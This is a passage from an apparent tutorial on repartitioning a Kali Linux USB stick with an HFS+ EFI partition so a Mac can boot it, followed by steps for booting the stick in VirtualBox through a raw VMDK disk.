<pre><code class="lang-bash">Command (? <span class="hljs-keyword">for</span> <span class="hljs-built_in">help</span>): p
Disk /dev/sdd: ...

[...]

Number  Start (sector)  End (sector)  Size     Code   Name
   1         2048         1050623  512.0 MiB   EF00   EFI System Partition

[...]
</code></pre>
<p>Now we have to:</p>
<ul>
<li>delete that EF00 partition</li>
<li>create a new HFS+ once in its place</li>
</ul>
<pre><code>Command (? <span class="hljs-keyword">for</span> help): d
Partition number (<span class="hljs-number">1</span><span class="hljs-number">-3</span>): <span class="hljs-number">1</span>

Command (? <span class="hljs-keyword">for</span> help): n
Partition number (<span class="hljs-number">1</span><span class="hljs-number">-128</span>, <span class="hljs-keyword">default</span> <span class="hljs-number">1</span>): <span class="hljs-number">1</span>

Just leave defaults values <span class="hljs-keyword">in</span> the sector phase

Current type is <span class="hljs-string">'Linux filesystem'</span>
Hex code or GUID (L to show codes, Enter = <span class="hljs-number">8300</span>): AF00
Changed type <span class="hljs-keyword">of</span> partition to <span class="hljs-string">'Apple HFS/HFS+'</span>

Command (? <span class="hljs-keyword">for</span> help): w

Final checks complete. About to write GPT data. THIS WILL OVERWRITE EXISTING
PARTITIONS!!

Do you want to proceed? (Y/N): Y
OK; writing <span class="hljs-keyword">new</span> GUID partition table (GPT) to /dev/sdd.
Warning: The kernel is still using the old partition table.
The <span class="hljs-keyword">new</span> table will be used at the next reboot.
The operation has completed successfully.
</code></pre><p>Now we have an unformatted HFS+ partition. To format, we need some tools; but to obtain these tools we need to add the Debian source-list to <strong>apt.</strong></p>
<pre><code class="lang-bash">$ <span class="hljs-built_in">echo</span> <span class="hljs-string">"deb http://ftp.debian.org/debian unstable main contrib non-free"</span> &gt; /etc/apt/sources.list.d/debian.list
$ apt update
$ apt install hfsprogs
</code></pre>
<p>We can format that partition:</p>
<pre><code class="lang-bash">$ mkfs.hfsplus /dev/sd{X}1 -v Kali
Initialized /dev/sd{X}1 as a 512 MB HFS Plus volume
</code></pre>
<p>Now we have to edit the <strong>/etc/fstab</strong> file:</p>
<pre><code class="lang-bash">$ gedit /etc/fstab
</code></pre>
<p>This will launch Gedit. In this file, localize these lines:</p>
<blockquote>
<p><strong># /boot/efi was on /dev/sd{X}1 during installation</strong><br><strong>UUID={XXXXXXX} /boot/efi vfat defaults 0 1</strong></p>
</blockquote>
<p>and delete them.</p>
<p>Now, unmount the boot partition, localizing it using:</p>
<pre><code class="lang-bash">$ mount | grep /boot/efi
/dev/sd{Y}1 on /boot/efi ...
$ umount /dev/sd{Y}1
</code></pre>
<p>Then run this to add the necessary entries to your fstab file:</p>
<pre><code class="lang-bash">$ <span class="hljs-built_in">echo</span> <span class="hljs-string">"UUID=<span class="hljs-subst">$(blkid -o value -s UUID /dev/sd{X}1)</span> /boot/efi auto defaults 0 0"</span> &gt;&gt; /etc/fstab
</code></pre>
<p>Now we have to reinstall GRUB so it can use the newly formatted HFS+ partition for its EFI data:</p>
<pre><code class="lang-bash">$ mkdir -p /boot/efi/EFI/Kali

$ <span class="hljs-built_in">echo</span> <span class="hljs-string">"This file is required for booting"</span> &gt; /boot/efi/EFI/Kali/mach_kernel
$ <span class="hljs-built_in">echo</span> <span class="hljs-string">"This file is required for booting"</span> &gt; /boot/efi/mach_kernel

$ grub-install --target x86_64-efi --boot-directory=/boot --efi-directory=/boot/efi --bootloader-id=Kali
</code></pre>
<p>We then need to “bless” the bootloader code, so that the Mac bootloader will boot it. To do that we need <strong>hfsbless</strong> binary that is not available via apt. No problem, just clone the repository and build:</p>
<pre><code class="lang-bash">$ <span class="hljs-built_in">cd</span> /root
$ git <span class="hljs-built_in">clone</span> https://github.com/detly/mactel-boot
$ <span class="hljs-built_in">cd</span> mactel-boot
$ make
</code></pre>
<p>Then bless:</p>
<pre><code class="lang-bash">./hfs-bless /boot/efi/EFI/Kali/System/Library/CoreServices/boot.efi
</code></pre>
<p>The final step is to create the grub configuration:</p>
<pre><code class="lang-bash">$ sed -i <span class="hljs-string">'s/GRUB_HIDDEN/#GRUB_HIDDEN/g'</span> /etc/default/grub
$ sed -i <span class="hljs-string">'s/GRUB_TIMEOUT=10/GRUB_TIMEOUT=0.1/'</span> /etc/default/grub
$ grub-mkconfig -o /boot/grub/grub.cfg
</code></pre>
<p>Perfecto! Now reboot and you should see your USB stick in the Mac bootloader by pressing <strong>ALT</strong>.</p>
<h4 id="heading-virtualizing-the-usb-via-virtualbox">Virtualizing the USB via Virtualbox</h4>
<p>If you ever need to boot this USB stick via Virtualbox (on Mac OSX), there is a simple trick to do that.</p>
<p>First of all, you’ve to create a VMDK disk that points to the sectors of your USB stick. So, let’s identify that disk:</p>
<pre><code>$ diskutil list
/dev/disk0 (internal):
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   <span class="hljs-number">0</span>:      GUID_partition_scheme                         <span class="hljs-number">500.3</span> GB   disk0
   <span class="hljs-number">1</span>:                        EFI EFI                     <span class="hljs-number">314.6</span> MB   disk0s1
   <span class="hljs-number">2</span>:                 Apple_APFS Container disk1         <span class="hljs-number">499.3</span> GB   disk0s2

/dev/disk1 (synthesized):
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   <span class="hljs-number">0</span>:      APFS Container Scheme -                      +<span class="hljs-number">499.3</span> GB   disk1
                                 Physical Store disk0s2
   <span class="hljs-number">1</span>:                APFS Volume Macintosh HD            <span class="hljs-number">222.0</span> GB   disk1s1
   <span class="hljs-number">2</span>:                APFS Volume Preboot                 <span class="hljs-number">22.4</span> MB    disk1s2
   <span class="hljs-number">3</span>:                APFS Volume Recovery                <span class="hljs-number">519.9</span> MB   disk1s3
   <span class="hljs-number">4</span>:                APFS Volume VM                      <span class="hljs-number">3.2</span> GB     disk1s4

/dev/disk3 (external, physical):
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   <span class="hljs-number">0</span>:      GUID_partition_scheme                        *<span class="hljs-number">32.0</span> GB    disk3
</code></pre><p>In our case, it is <strong>/dev/disk3.</strong> Let’s unmount before proceeding:</p>
<pre><code class="lang-bash">$ diskutil unmountDisk /dev/disk{X}
</code></pre>
<p>With VirtualBox installed, run:</p>
<pre><code class="lang-bash">$ sudo VBoxManage internalcommands createrawvmdk -filename ~/Kali.vmdk -rawdisk /dev/disk{X}
$ chmod 777 ~/Kali.vmdk
$ chmod 777 /dev/disk{X}
</code></pre>
<p>Perfecto. Now, run Virtualbox UI and create a new machine with the following settings:</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/qS3uVh4RdvQJAFVy0jmkqZhpyQQ0PGQqmoWG" alt="Image" width="600" height="400" loading="lazy"></p>
<p>When VirtualBox asks you for a disk, let’s point to that VMDK created before:</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/AA9j6gr54XyAfs3p8Mpd6HBZLcQK1-Rhs1Ih" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Before starting up the machine, let’s go to Settings and adjust your process counts, video and memory.</p>
<p>The important things are to set <strong>Enable EFI</strong> under <strong>System &gt; Motherboa</strong>rd.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/0MGTYcD-c73t74caXSThnyGVs5tAxCckTUwj" alt="Image" width="600" height="400" loading="lazy"></p>
<p>This will allow you to boot via EFI. Now start the virtual machine and immediately press <strong>F12</strong>.</p>
<p>Select <strong>Boot Maintenance Manager:</strong></p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/y2JWUUCp8tBEm8CXGFsPgQrAcIiSiOuESu7y" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Select <strong>Boot from file:</strong></p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/28WvE2oTBD8B76bqCuz82lkT5NYk9EhT44Ed" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Then select {<strong>SATA_DRIVE} &gt; EFI &gt; Kali &gt; System &gt; Library &gt; CoreServ</strong>ices &gt; boot.efi</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/b8QCTg5i89Mlv3jGiuTWtokG0jHj4YkAgGyp" alt="Image" width="600" height="400" loading="lazy"></p>
<p>And, voilà:</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/m4XOkbkaermzUe7hS-3tZADOBUQsGE0nOUHI" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Stay tuned :)</p>
 ]]>
                </content:encoded>
            </item>
        
    </channel>
</rss>
